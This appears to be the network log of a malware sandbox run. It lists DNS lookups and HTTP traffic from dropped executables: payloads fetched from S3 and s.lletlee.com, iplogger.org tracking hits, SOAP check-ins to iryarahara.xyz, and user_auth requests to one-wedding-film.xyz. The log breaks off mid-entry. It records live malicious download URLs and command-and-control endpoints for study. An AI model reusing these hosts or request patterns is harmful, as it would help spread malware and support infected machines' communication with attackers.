                                                                                                                                                                                                                                          http://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/Download/GameBox.exe
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          52.219.158.26:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /Download/GameBox.exe HTTP/1.0
                                                                                                                                                                                                                                          Host: 7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          User-Agent: InnoTools_Downloader
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          x-amz-id-2: DSefuic8i3sL9ZH9nyrc9zxex42DKDGxy5K8CfNNARS162Owz1n730CzrKGjB4F3LutKim3JsKY=
                                                                                                                                                                                                                                          x-amz-request-id: F38M1TVXEYXEQM68
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:43 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 16:38:23 GMT
                                                                                                                                                                                                                                          ETag: "d09797d28f762a14c5bbbc5f4f464019-2"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Type: application/x-msdownload
                                                                                                                                                                                                                                          Server: AmazonS3
                                                                                                                                                                                                                                          Content-Length: 7367279
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://iplogger.org/ZhiS4
                                                                                                                                                                                                                                          md8_8eus.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ZhiS4 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3
                                                                                                                                                                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                                                                          Referer: https://www.facebook.com
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36
                                                                                                                                                                                                                                          Host: iplogger.org
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:43 GMT
                                                                                                                                                                                                                                          Content-Type: image/png
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=fmf6inpe2kmnthl87v9a8gm746; path=/; HttpOnly
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506708; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Answers: 1
                                                                                                                                                                                                                                          whoami: ec5f700afd95c4901273a4ec86c0feb322adec405ece3a022dc8272621895297
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          iryarahara.xyz
                                                                                                                                                                                                                                          HrVJwX4JK_BrfAM01ZGJkPgU.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          iryarahara.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          iryarahara.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          77.246.145.4
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://iryarahara.xyz/
                                                                                                                                                                                                                                          7HS9H3G8r_cKvEziTmf7FTb_.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          77.246.145.4:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: iryarahara.xyz
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:46 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://iryarahara.xyz/
                                                                                                                                                                                                                                          7HS9H3G8r_cKvEziTmf7FTb_.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          77.246.145.4:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: iryarahara.xyz
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:01 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          www.facebook.com
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          www.facebook.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          www.facebook.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          star-mini.c10r.facebook.com
                                                                                                                                                                                                                                          star-mini.c10r.facebook.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          31.13.64.35
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://www.facebook.com/
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          31.13.64.35:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET / HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
                                                                                                                                                                                                                                          Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
                                                                                                                                                                                                                                          viewport-width: 1920
                                                                                                                                                                                                                                          Sec-Fetch-Dest: document
                                                                                                                                                                                                                                          Sec-Fetch-Mode: navigate
                                                                                                                                                                                                                                          Sec-Fetch-Site: none
                                                                                                                                                                                                                                          Sec-Fetch-User: ?1
                                                                                                                                                                                                                                          Upgrade-Insecure-Requests: 1
                                                                                                                                                                                                                                          Host: www.facebook.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          x-fb-rlafr: 0
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Cache-Control: private, no-cache, no-store, must-revalidate
                                                                                                                                                                                                                                          Expires: Sat, 01 Jan 2000 00:00:00 GMT
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-XSS-Protection: 0
                                                                                                                                                                                                                                          content-security-policy-report-only: default-src 'self' data: blob: https://*.fbsbx.com 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net;script-src static.xx.fbcdn.net 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net data:;connect-src wss://gateway.facebook.com wss://edge-chat.facebook.com *.facebook.com *.fbcdn.net wss://snaptu-d.facebook.com wss://kaios-d-test.facebook.com/ wss://kaios-d.facebook.com/;font-src data: *.facebook.com *.fbcdn.net;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster:;frame-src *.facebook.com fbsbx.com;worker-src blob:;report-uri https://www.facebook.com/csp/reporting/?m=c;
                                                                                                                                                                                                                                          content-security-policy: default-src facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com data: blob: 'self';script-src *.facebook.com *.fbcdn.net 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com;connect-src *.facebook.com facebook.com *.fbcdn.net wss://*.facebook.com:* attachment.fbsbx.com blob: *.cdninstagram.com 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c;
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=15552000; preload
                                                                                                                                                                                                                                          Content-Type: text/html; charset="utf-8"
                                                                                                                                                                                                                                          X-FB-Debug: 1FIv6QwCOrsM+K+GWWTU5OMpLBbr1y9tYOuvMGY3Dd+3zEBd7+sPPe1Ca3UGETwJ8ovQahAGY4xMmPtpJttMRw==
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:46 GMT
                                                                                                                                                                                                                                          Priority: u=3,i
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Alt-Svc: h3-29=":443"; ma=3600,h3-27=":443"; ma=3600
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://www.facebook.com/
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          31.13.64.35:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET / HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
                                                                                                                                                                                                                                          Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
                                                                                                                                                                                                                                          viewport-width: 1920
                                                                                                                                                                                                                                          Sec-Fetch-Dest: document
                                                                                                                                                                                                                                          Sec-Fetch-Mode: navigate
                                                                                                                                                                                                                                          Sec-Fetch-Site: none
                                                                                                                                                                                                                                          Sec-Fetch-User: ?1
                                                                                                                                                                                                                                          Upgrade-Insecure-Requests: 1
                                                                                                                                                                                                                                          Host: www.facebook.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          x-fb-rlafr: 0
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Cache-Control: private, no-cache, no-store, must-revalidate
                                                                                                                                                                                                                                          Expires: Sat, 01 Jan 2000 00:00:00 GMT
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-XSS-Protection: 0
                                                                                                                                                                                                                                          content-security-policy-report-only: default-src 'self' data: blob: https://*.fbsbx.com 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net;script-src static.xx.fbcdn.net 'unsafe-inline' *.facebook.com 'unsafe-eval' *.fbcdn.net data:;connect-src wss://gateway.facebook.com wss://edge-chat.facebook.com *.facebook.com *.fbcdn.net wss://snaptu-d.facebook.com wss://kaios-d-test.facebook.com/ wss://kaios-d.facebook.com/;font-src data: *.facebook.com *.fbcdn.net;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster:;frame-src *.facebook.com fbsbx.com;worker-src blob:;report-uri https://www.facebook.com/csp/reporting/?m=c;
                                                                                                                                                                                                                                          content-security-policy: default-src facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com data: blob: 'self';script-src *.facebook.com *.fbcdn.net 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' facebook.com *.facebook.com fbcdn.net *.fbcdn.net fbsbx.com *.fbsbx.com cdninstagram.com *.cdninstagram.com;connect-src *.facebook.com facebook.com *.fbcdn.net wss://*.facebook.com:* attachment.fbsbx.com blob: *.cdninstagram.com 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c;
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=15552000; preload
                                                                                                                                                                                                                                          Content-Type: text/html; charset="utf-8"
                                                                                                                                                                                                                                          X-FB-Debug: U7Wml1cdcCCNCgXcx0FD4cEVAYyS+03T4DoKJlTxX1XkLKYofZ4neEuLfszjCLyrZBtEjTN0T9NyAoV1er+puA==
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:00 GMT
                                                                                                                                                                                                                                          Priority: u=3,i
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Alt-Svc: h3-29=":443"; ma=3600,h3-27=":443"; ma=3600
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          s.lletlee.com
                                                                                                                                                                                                                                          customer3.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          s.lletlee.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          s.lletlee.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.17.130
                                                                                                                                                                                                                                          s.lletlee.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.176.199
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          one-wedding-film.xyz
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          one-wedding-film.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          one-wedding-film.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.1.69
                                                                                                                                                                                                                                          one-wedding-film.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.128.192
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://s.lletlee.com/tmp/aaa_v010.dll
                                                                                                                                                                                                                                          customer3.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.17.130:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /tmp/aaa_v010.dll HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: HTTPREAD
                                                                                                                                                                                                                                          Host: s.lletlee.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:47 GMT
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Content-Length: 451794
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          last-modified: Thu, 05 Aug 2021 07:53:11 GMT
                                                                                                                                                                                                                                          etag: "610b98e7-6e4d2"
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=k2JBXNP7rgNCbGj6Mw8yK3MlA1I%2BFue7irFB2ZL8Rm%2FfXmdQiuginYTHY8QcjsfW4b8W1%2BeKGQeSCv6iOviCRgCgedh5Ok65TZqVVeS%2FksDSJ0xdlJPsnib5IQ11c8a1"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232756be77fa9c-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://s.lletlee.com/tmp/11111.exe
                                                                                                                                                                                                                                          customer3.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.17.130:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /tmp/11111.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: RookIE/1.0
                                                                                                                                                                                                                                          Host: s.lletlee.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:49 GMT
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Content-Length: 318976
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          last-modified: Wed, 23 Jun 2021 06:56:52 GMT
                                                                                                                                                                                                                                          etag: "60d2db34-4de00"
                                                                                                                                                                                                                                          Cache-Control: max-age=14400
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Age: 2379
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZoSuagMk8PF4GLx9s1SF8UIlrFHq5ujvO0Lz2uba52qO3VT29exPSJwa5CUlYQqI0wcAYDm%2BEP55p5xot79HcFNA3LebfCimAo1gUNLpu2UqV%2FMefD2rZXEGlEMndmEk"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327667d0bfa9c-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://s.lletlee.com/tmp/11111.exe
                                                                                                                                                                                                                                          customer3.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.17.130:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /tmp/11111.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: RookIE/1.0
                                                                                                                                                                                                                                          Host: s.lletlee.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:59 GMT
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Content-Length: 318976
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          last-modified: Wed, 23 Jun 2021 06:56:52 GMT
                                                                                                                                                                                                                                          etag: "60d2db34-4de00"
                                                                                                                                                                                                                                          Cache-Control: max-age=14400
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Age: 2389
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=z1qT5a1d2Yve4inSUPqNFbn%2F%2B3gwxf9OtTGeE9woHfWghOFgi7CxqYOZaNzLMvc%2BmNeqERQhN1ZRHyKJAdTnALCg1XIvA0LGmKOjFX0T8dAR4Pa%2BKKNVPn%2BjlvPuyOgD"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327a159defa9c-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_1
                                                                                                                                                                                                                                          C9EtuPtr5uw_Xo6Wkbx2vlt1.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_1 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:47 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=f4OIBA4mhHkYOb8Gh7HKPhWcR%2BcY3%2BtJgrAQyhKvHlj1sUD5LjXyWfL5yqrB%2FGS6LYh4bDbzH5ygrEJyraKv5mBL4525ukkW7t8iMllgWjiYvv5sxUbeJt3b9P9YfIAHdpIaQk1vdQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327561dddfa9c-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_2
                                                                                                                                                                                                                                          C9EtuPtr5uw_Xo6Wkbx2vlt1.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_2 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:49 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1AxPWGSgcIeEqmBf9jbbEgyWBW%2FB%2B6lKteYAw0icC64jcadKVSmF4Oa4dAFb5%2FnGQNQ1dhrpN%2FOsFHgVjo1%2FjOQFkquWjsxt3ODg48pCC9bCSnY0GjwoaTaPI%2FyQ3SOgQNWA%2Bcai2g%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327650bd2fa9c-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_3
                                                                                                                                                                                                                                          C9EtuPtr5uw_Xo6Wkbx2vlt1.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_3 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:49 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WoTcYKE575cgvvKoV%2B265R%2FIAcl7LdrXclnvkRRayrAxR44msCPNqI%2BHKTI7MF4ohBbNTlnINkUNQ3aQ8xzp14E4tiDTEv6WuyaxA2KHm%2B1tdWp7Dxk8OjCO5OcZbqD3RtfURZAS5g%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
